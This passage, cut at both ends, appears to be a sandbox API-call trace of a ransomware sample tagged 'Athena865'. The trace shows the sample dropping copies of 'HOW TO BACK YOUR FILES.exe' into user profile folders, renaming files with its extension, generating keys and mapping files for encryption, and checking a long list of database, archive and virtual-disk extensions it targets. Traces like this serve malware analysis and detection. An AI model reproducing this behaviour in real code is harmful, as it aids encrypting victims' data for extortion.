ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1 [0100.929] lstrcatW (in: lpString1="UProof", lpString2="\\" | out: lpString1="UProof\\") returned="UProof\\" [0100.929] lstrcatW (in: lpString1="UProof\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="UProof\\HOW TO BACK YOUR FILES.exe") returned="UProof\\HOW TO BACK YOUR FILES.exe" [0100.930] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\UProof\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\uproof\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.933] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0100.933] lstrcatW (in: lpString1="Word", lpString2="\\" | out: lpString1="Word\\") returned="Word\\" [0100.933] lstrcatW (in: lpString1="Word\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Word\\HOW TO BACK YOUR FILES.exe") returned="Word\\HOW TO BACK YOUR FILES.exe" [0100.933] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Microsoft\\Word\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\microsoft\\word\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.936] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f71aa70, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 0 [0100.936] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0100.936] ReleaseMutex (hMutex=0xec) returned 1 [0100.936] CloseHandle (hObject=0xec) returned 1 [0100.936] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla" [0100.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0100.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b660 | out: hHeap=0x4f0000) returned 1 [0100.936] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla") returned 71 [0100.936] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8D57B07D3634F698EB74E27916607AFF") returned 0xec [0100.936] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0100.936] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla" [0100.936] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.936] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.937] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\mozilla\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.937] GetLastError () returned 0x0 [0100.937] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x544058 [0100.937] ReadFile (in: hFile=0xf4, lpBuffer=0x544058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x544058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.938] CloseHandle (hObject=0xf4) returned 1 [0100.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0100.938] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.938] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc554db20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc554db20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0100.939] lstrcatW (in: lpString1="Extensions", lpString2="\\" | out: lpString1="Extensions\\") returned="Extensions\\" [0100.939] lstrcatW (in: lpString1="Extensions\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Extensions\\HOW TO BACK YOUR FILES.exe") returned="Extensions\\HOW TO BACK YOUR FILES.exe" [0100.939] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla\\Extensions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\mozilla\\extensions\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.941] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb26740e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb26740e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1 [0100.942] lstrcatW (in: lpString1="Firefox", lpString2="\\" | out: lpString1="Firefox\\") returned="Firefox\\" [0100.942] lstrcatW (in: lpString1="Firefox\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Firefox\\HOW TO BACK YOUR FILES.exe") returned="Firefox\\HOW TO BACK YOUR FILES.exe" [0100.942] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\Mozilla\\Firefox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\mozilla\\firefox\\how to back your files.exe"), bFailIfExists=1) returned 1 [0100.944] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc554db20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc554db20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0100.945] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low" [0100.945] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0100.945] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\how to back your files.exe"), bFailIfExists=1) returned 0 [0100.945] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0100.945] GetLastError () returned 0x0 [0100.945] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0100.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x544058 [0100.945] ReadFile (in: hFile=0xf4, lpBuffer=0x544058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x544058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0100.946] CloseHandle (hObject=0xf4) returned 1 [0100.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0100.946] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0100.946] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2bc9ae40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc58dfc20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc58dfc20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0100.949] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.Athena865") returned 117 [0100.949] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.athena865"), dwFlags=0x1) returned 1 [0100.961] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0100.961] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=102) returned 1 [0100.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0100.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0100.962] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5193c0 [0100.962] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0100.963] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.963] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0100.963] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x370, lpName=0x0) returned 0x17c [0100.967] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x370) returned 0x100000 [0100.968] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0100.968] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.968] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0100.968] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0100.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0100.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0100.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0100.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0100.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0100.969] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x544058 [0100.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0100.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x544058 | out: hHeap=0x4f0000) returned 1 [0100.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0100.969] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0100.969] CloseHandle (hObject=0x17c) returned 1 [0100.969] CloseHandle (hObject=0x154) returned 1 [0100.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0100.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5193c0 | out: hHeap=0x4f0000) returned 1 [0100.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0100.970] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44bd95f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x44bd95f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x44bd95f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", cAlternateFileName="5P37D9~1.TXT")) returned 1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2=".") returned 1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="..") returned 1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="windows") returned -1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="bootmgr") returned -1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="temp") returned -1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="pagefile.sys") returned -1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="boot") returned -1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="ids.txt") returned -1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="ntuser.dat") returned -1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="perflogs") returned -1 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2="MSBuild") returned -1 [0100.970] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt") returned 43 [0100.970] lstrcpyW (in: lpString1=0x241e8be, lpString2="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" | out: lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt") returned="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" [0100.970] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt") returned 43 [0100.970] lstrlenW (lpString="Athena865") returned 9 [0100.970] lstrcmpiW (lpString1="on[2].txt", lpString2="Athena865") returned 1 [0100.970] lstrlenW (lpString=".dll") returned 4 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2=".dll") returned 1 [0100.970] lstrlenW (lpString=".lnk") returned 4 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2=".lnk") returned 1 [0100.970] lstrlenW (lpString=".ini") returned 4 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2=".ini") returned 1 [0100.970] lstrlenW (lpString=".sys") returned 4 [0100.970] lstrcmpiW (lpString1="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt", lpString2=".sys") returned 1 [0100.970] lstrlenW (lpString="5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt") returned 43 [0100.970] lstrlenW (lpString="bak") returned 3 [0100.971] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0100.971] lstrlenW (lpString="ba_") returned 3 [0100.971] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0100.971] lstrlenW (lpString="dbb") returned 3 [0100.971] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0100.971] lstrlenW (lpString="vmdk") returned 4 [0100.971] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0100.971] lstrlenW (lpString="rar") returned 3 [0100.971] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0100.971] lstrlenW (lpString="zip") returned 3 [0100.971] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0100.971] lstrlenW (lpString="tgz") returned 3 [0100.971] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0100.971] lstrlenW (lpString="vbox") returned 4 [0100.971] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0100.971] lstrlenW (lpString="vdi") returned 3 [0100.971] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0100.971] lstrlenW (lpString="vhd") returned 3 [0100.971] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0100.971] lstrlenW (lpString="vhdx") returned 4 [0100.971] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0100.971] lstrlenW (lpString="avhd") returned 4 [0100.971] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0100.971] lstrlenW (lpString="db") returned 2 [0100.971] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0100.971] lstrlenW (lpString="db2") returned 3 [0100.971] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0100.971] lstrlenW (lpString="db3") returned 3 [0100.971] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0100.971] lstrlenW (lpString="dbf") returned 3 [0100.971] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0100.971] lstrlenW (lpString="mdf") returned 3 [0100.972] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0100.972] lstrlenW (lpString="mdb") returned 3 [0100.972] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0100.972] lstrlenW (lpString="sql") returned 3 [0100.972] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0100.972] lstrlenW (lpString="sqlite") returned 6 [0100.972] lstrcmpiW (lpString1="2].txt", lpString2="sqlite") returned -1 [0100.972] lstrlenW (lpString="sqlite3") returned 7 [0100.972] lstrcmpiW (lpString1="[2].txt", lpString2="sqlite3") returned -1 [0100.972] lstrlenW (lpString="sqlitedb") returned 8 [0100.972] lstrcmpiW (lpString1="n[2].txt", lpString2="sqlitedb") returned -1 [0100.972] lstrlenW (lpString="xml") returned 3 [0100.972] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0100.972] lstrlenW (lpString="$er") returned 3 [0100.972] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0100.972] lstrlenW (lpString="4dd") returned 3 [0100.972] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0100.972] lstrlenW (lpString="4dl") returned 3 [0100.972] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0100.972] lstrlenW (lpString="^^^") returned 3 [0100.972] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0100.972] lstrlenW (lpString="abs") returned 3 [0100.972] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0100.972] lstrlenW (lpString="abx") returned 3 [0100.972] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0100.972] lstrlenW (lpString="accdb") returned 5 [0100.972] lstrcmpiW (lpString1="].txt", lpString2="accdb") returned -1 [0100.972] lstrlenW (lpString="accdc") returned 5 [0100.972] lstrcmpiW (lpString1="].txt", lpString2="accdc") returned -1 [0100.972] lstrlenW (lpString="accde") returned 5 [0100.972] lstrcmpiW (lpString1="].txt", lpString2="accde") returned -1 [0100.972] lstrlenW (lpString="accdr") returned 5 [0100.972] lstrcmpiW (lpString1="].txt", lpString2="accdr") returned -1 [0100.973] lstrlenW (lpString="accdt") returned 5 [0100.973] lstrcmpiW (lpString1="].txt", lpString2="accdt") returned -1 [0100.973] lstrlenW (lpString="accdw") returned 5 [0100.973] lstrcmpiW (lpString1="].txt", lpString2="accdw") returned -1 [0100.973] lstrlenW (lpString="accft") returned 5 [0100.973] lstrcmpiW (lpString1="].txt", lpString2="accft") returned -1 [0100.973] lstrlenW (lpString="adb") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0100.973] lstrlenW (lpString="adb") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0100.973] lstrlenW (lpString="ade") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0100.973] lstrlenW (lpString="adf") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0100.973] lstrlenW (lpString="adn") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0100.973] lstrlenW (lpString="adp") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0100.973] lstrlenW (lpString="alf") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0100.973] lstrlenW (lpString="ask") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0100.973] lstrlenW (lpString="btr") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0100.973] lstrlenW (lpString="cat") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0100.973] lstrlenW (lpString="cdb") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0100.973] lstrlenW (lpString="ckp") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0100.973] lstrlenW (lpString="cma") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0100.973] lstrlenW (lpString="cpd") returned 3 [0100.973] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0100.974] lstrlenW (lpString="dacpac") returned 6 [0100.974] lstrcmpiW (lpString1="2].txt", lpString2="dacpac") returned -1 [0100.974] lstrlenW (lpString="dad") returned 3 [0100.974] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0100.974] lstrlenW (lpString="dadiagrams") returned 10 [0100.974] lstrcmpiW (lpString1="ion[2].txt", lpString2="dadiagrams") returned 1 [0100.974] lstrlenW (lpString="daschema") returned 8 [0100.974] lstrcmpiW (lpString1="n[2].txt", lpString2="daschema") returned 1 [0100.974] lstrlenW (lpString="db-journal") returned 10 [0100.974] lstrcmpiW (lpString1="ion[2].txt", lpString2="db-journal") returned 1 [0100.974] lstrlenW (lpString="db-shm") returned 6 [0100.974] lstrcmpiW (lpString1="2].txt", lpString2="db-shm") returned -1 [0100.974] lstrlenW (lpString="db-wal") returned 6 [0100.974] lstrcmpiW (lpString1="2].txt", lpString2="db-wal") returned -1 [0100.974] lstrlenW (lpString="dbc") returned 3 [0100.974] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0100.974] lstrlenW (lpString="dbs") returned 3 [0100.974] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0100.974] lstrlenW (lpString="dbt") returned 3 [0100.974] lstrcmpiW 